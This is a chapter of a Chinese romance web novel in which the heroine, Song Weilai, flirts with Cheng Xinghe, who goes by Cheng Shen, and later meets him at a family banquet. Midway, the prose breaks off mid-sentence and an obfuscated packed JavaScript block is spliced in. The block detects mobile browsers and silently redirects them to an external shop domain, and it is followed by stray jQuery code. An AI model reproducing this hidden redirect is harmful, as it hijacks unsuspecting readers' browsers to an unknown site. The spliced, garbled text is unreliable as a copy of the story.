晚风拂面,吹得人舒服。
宋未来想起女生听到“妈妈”时的样子,笑的越发幸灾乐祸,她转头看程深:“那女生好像很伤心哦。”
程星河双手插兜,“对人家没想法,还是说清楚比较好。”
宋未来侧身歪头,“那你怎么不和我说清楚呢?”
程星河平静看她,“你对我有想法?”
想法当然是大大的有。
好学生实在单纯,她都把人压墙上了,竟然看不出来这是什么意思。
但鉴于一分钟前女生的惨痛遭遇,宋未来还没尝上追到人的乐趣,不想早早被拒绝。她笑的人畜无害,狐狸眼弯着说:“那你呢,对我有想法么?”
风吹动枝叶,簌簌地响。
程星河抬手,摸了下鼻尖,“没有。”
宋未来被发红的手背吸引,“你手怎么了?”
程星河把手伸进兜里,说:“天气干,痒的。”
痒的?
宋未来眼睛一转,又有了别的心思。
她从包里拿出护手霜,拧开说:“天气干就得多涂护手霜,来,学姐给你抹!”
前两天的触碰对宋未来来说一直是个梗,噎的她吃不下饭睡不着觉,还专门跑去找梁锐泽测试,结果梁锐泽笑嘻嘻刚一靠近就被她踹翻。
她不明白为什么青梅竹马的梁锐泽不行,程深却行。
宋未来拉起程星河的袖子,在他手背挤了一坨护手霜后,两手伸过去。
停了两秒——
“还是你自己来吧。”她抬头冲他笑。
抗拒还在,她还是正常的。
宋未来暗自松了口气。
程星河低头,盯着一大坨护手霜看了半天,转头问:“擦哪?”
宋未来眨巴眼:“擦手。”
程星河抬手,非常不解:“这么多?”
“对啊!”
看他不想擦,宋未来循循善诱:“你手都红了,多擦点润一润,很舒服的。”
程星河一脸拒绝:“我不擦也挺舒服。”
宋未来特喜欢擦润肤产品,皮肤纹理间都滋润舒服的感觉就像细胞喝饱了水,让她身心都愉悦。
但很明显程深并不愉悦,盯着那坨白色分分钟想甩走。
宋未来很急,又上不去手。
“小程同学,你这个人真的很没乐趣,”但还好长得好看!
她没说后面那句,板着脸刮走程星河手背最上层的护手霜,看他的眼神仿佛在威胁“你再说一个不试试”。
程星河有些好笑,不擦护手霜就是没乐趣?
他很想反驳,但觑过来的狐狸眼有些可爱,他垂眸,揉开那团仍然很多的白色。
从小到大,程星河学什么都能一遍上手。学业、公司、人际关系手到擒来,但此刻,做了无数生化实验的两只手是如此笨拙。
程星河不紧不慢地擦着,宋未来还在一旁指导。
她一身礼服本就显眼,长腿在高叉下若隐若现。
迎面走来两个男人,扫向她的目光谈不上单纯。宋未来受惯注目,不甚在意地往前走,却在即将和他们擦肩而过时,被拉到了路里边。
宋未来慢半拍地望了眼程深。男生靠近,和她步伐一致实际是为了挡住她高叉下的风光。
风里有青草香,还有揉开的野玫瑰香。
宋未来回头,走出好远的路人还在恋恋不舍地回头。她想了想,侧身对着男生,显摆顺滑凹凸的腰臀线。
“好看么?”
程星河眼也没抬往前走,“还好。”
宋未来:“......”
很奇怪,她发现程深总是能轻易地激起她的胜负欲。
宋未来跟上在两步远等她的程深,抱臂不爽地问:“那你喜欢什么样的?清纯的?制服短裙那种?”
程星河还是不说话,宋未来继续猜:“碎花裙?黑长直?”
“你的名字。”
微风带着雨后的润土香,吹开宋未来耳边的碎发。
宋未来一愣,看向他。
程星河等了会儿,发现对方是真的没明白,才叹口气,无奈地说:“我还不知道你的名字。”
但怎么可能呢,小狐狸那么聪明,不会不明白,只是揣着明白装糊涂,不愿费心罢了。
宋未来恍然大悟,这么多天,她竟然还没和对方说过名字。
“我叫......”即便程深是好学生对花边新闻关注不高,但“宋未来”这三个字后面属实都不是好词眼,宋未来想了想,“宋......来来!”
说完盯着程深看了半天,对方一脸平静,只是点了点头,然后继续往前走。
还好,好学生脑子里只有学习。
程星河在前面走着。
男孩子腿长步子总会下意识迈大,走两步再停住等着身后的女生靠近。
他穿的仍然是一身白。
纯白的运动套装,白鞋白袜。
脚踝的跟筋被白色包裹,凹出好看的线条。
干净的想把他占为己有。
“程深!”她喊道。
程星河回头,隔着两步远,看到小狐狸歪着头笑问:“我对你有意思你看得出来吗?”
当时的氛围让她不自觉开口,“你觉得我怎么样?”
说过无数次的话,早就免疫了,但这次,宋未来竟觉得嗓子有些紧。
看着男生水杉一样挺拔的身形,立在路灯下,星光洒满全身。
宋未来鬼使神差的,“想看我跳舞么?”
程星河的眸色加深。
她笑了。
因为他想。
程星河回到家时,程妈正拿着水杯准备上楼。
她靠在楼梯扶手边,看着最近经常早出晚归的儿子戏虐道:“你最近生活很丰富嘛。”
话音未落,程妈神色闪过迟疑,跟在儿子身后闻了闻,“什么味,这么香。”
程星河打开医药箱,“护手霜。”
程妈讶然,“你不是不爱涂姑娘家的东西?小时候给你抹儿童霜脸崩的跟要你命似的。”
她看了眼药膏,“你过敏啦?过敏涂护手霜?儿子,你没事吧?”
言外之意是,儿子,你的常识呢?
程星河回头看她,程妈一点也不畏惧儿子的眼神压制,甚至还嗅到一丝八卦气息。
“护手霜是小姑娘的吧,你们今晚一直在一起?”
“程星河,你有喜欢的人了。”
-
宋未来接到让安的电话时,刚到家楼下。
“亲爱的,怎么想起给我打电话。”宋未来下车,后背靠着车门笑的很甜。
让安是她高中同学,最好的朋友,她痛苦生活里的一束光。
宋未来可以有很多狐朋狗友,但让安是独一无二的。
对面声音慵懒,尾音轻轻飘飘散开,“等你主动找我,我还不得等到下辈子?”
让安太了解宋未来,知道这人爱玩朋友多,但其实最怕麻烦人,看着热情似火,实际骨子里疏冷。
你找我,我和你玩,你不找我,我也不会主动去找你。
宋未来就是这样。
有谁没谁,都一样。
让安还在加班,也不废话,调侃道:“小狐狸你最近的壮举都传到我们公司了,把人压到墙上亲,了不起。”
“起”字被让安说的极轻,生生带了别的味道。
让安笑,宋未来也笑。
“我多怂啊,没真亲。”
让安一愣。
她想到八卦是假的,因为宋未来排斥所有人的接触,就是她碰之前也要打个招呼才行。
“所以把人压到墙上是真的?”
宋未来挠挠鼻子,不知该怎么解释,毕竟她都不明白为什么。
“就是吧......我当时脑子一热......他还......怪好闻的......”
说完她都觉得自己是个老色批。
让安沉默了好久,才在组长催促好几次后坏笑着说,“小狐狸,春天来了。”
挂了电话,宋未来抬头看了看橘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712861|144636||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
粉色的天,晃着车钥匙上楼。
看到宋永德在家,宋未来并不惊讶。
周惠在给他捏腿,宋未来懒得看,往沙发上一靠,“有事?”
宋永德不满瞪她,“小时候怎么教你的,坐没坐姿!”
宋未来手撑着头,“没事我走啦。”
宋永德冷哼,将手边的礼服丢给她,“明天是繁星的周年庆,和我一起去。”
宋未来勾起礼服,粉色的中式风,一针一线都是手工刺绣。
“没兴趣。”宋未来说。
“我需要你有兴趣?”宋永德气得坐直了身子,连带着周惠差点没倒在地上,“不去就别想花我的钱!你自生自灭得了!”
“......”
那倒也不必......
繁星的周年庆盛大又隆重。
是宴请,更是一场新一轮的人脉关系网搭建。
宋未来碰见梁锐泽才知道,原来季家请了程家来。
跟着侍者走到小辈席位,她看到了意想不到的侧脸。
“程深?”宋未来兴高采烈地挨着程星河坐下,梁锐泽边扫着两人边坐在她另一边。
看着梁锐泽一直扒拉宋未来小声问他是谁,程星河还没说话,宋未来就先替他找了理由,“你是程家人?亲戚?”
程星河点点头。
梁锐泽:“他谁啊?”
宋未来怼开梁锐泽扒拉的手,笑着说:“我也是宋家亲戚,真巧。”
“什么玩意?宋未——操操操,脚,你踩我脚了!!”梁锐泽痛的直拍桌子,一桌人都是同辈,看到是他俩,默默转头没敢说什么。
“我叫宋来来,记住啊!”宋未来凑到梁锐泽耳边凶巴巴地说。
两个人几乎头挨着头。
梁锐泽还试图勾肩搭背和她闹,被宋未来一胳膊肘撞到趴在桌上呜呜。
程星河下眼睑抬了抬,侧头喝水。
前两天不像告白的告白似乎只是个玩笑,随口一提,宋未来没有问他答复和想法,甚至一点袒露心思后的无措也没有。
上流是个圈,随便对上眼神都能隔空碰酒,更别说同辈之间不断搭话试图凑上来的了。
不过身边某人气压有些低,宋未来时不时转头看眼程深。
梁锐泽被武力制服,此时正伸着脖子张望,“程家都来了,程星河会不会也来?”
“要来也是和咱们坐一起,但凡你眼神不在端香槟的小姐姐身上太久,我都会信了你的鬼话。”
梁锐泽好了伤疤忘了疼,又想抬胳膊搭宋未来肩,被宋未来一巴掌拍开。
“我靠,”梁锐泽呲牙搓胳膊,还不忘反驳,“你以为这场宴会为什么来这么多人,都是奔着程家人来的,程星河又从不露面,电视采访都给面子只采他老师同学的神仙,多少人盯着呢!”
一说到神仙,宋未来又看向程深。
“我猜他肯定长的巨丑,就典型的学习......”梁锐泽自顾自说着。
程星河终于在这场乏味又假意的宴会上找到了别的乐趣,食指摩挲着杯口问道:“你们认识程星河?”
他说的声小,宴厅又放着古典乐,宋未来想也没想把耳朵凑过去,“什么?”
从梁锐泽的角度看去,就像在交头接耳。
梁锐泽:“?!!!”
我看你俩是不把我当人了是吧!
想到程深是程家人,自己开学又和程星河一个教授,为了凑近关系,宋未来眼也不眨点头,“认识。”
宋未来照着记忆中别人夸赞程星河的话,原封不动说出来,“我师兄!化学超牛!”
宋未来眉飞色舞的神情停顿一秒,然后回归平静。
因为程深偏头笑出了声。
程深似乎很少笑,一心只有学习,剩下的一切都和他无关。
可如今笑起来,漂亮的眉眼有了生气,好似那晚的星光。
明澈又夺目。
不知为什么,宋未来有种错觉,程深好像是因为她说了“师兄”......才笑的。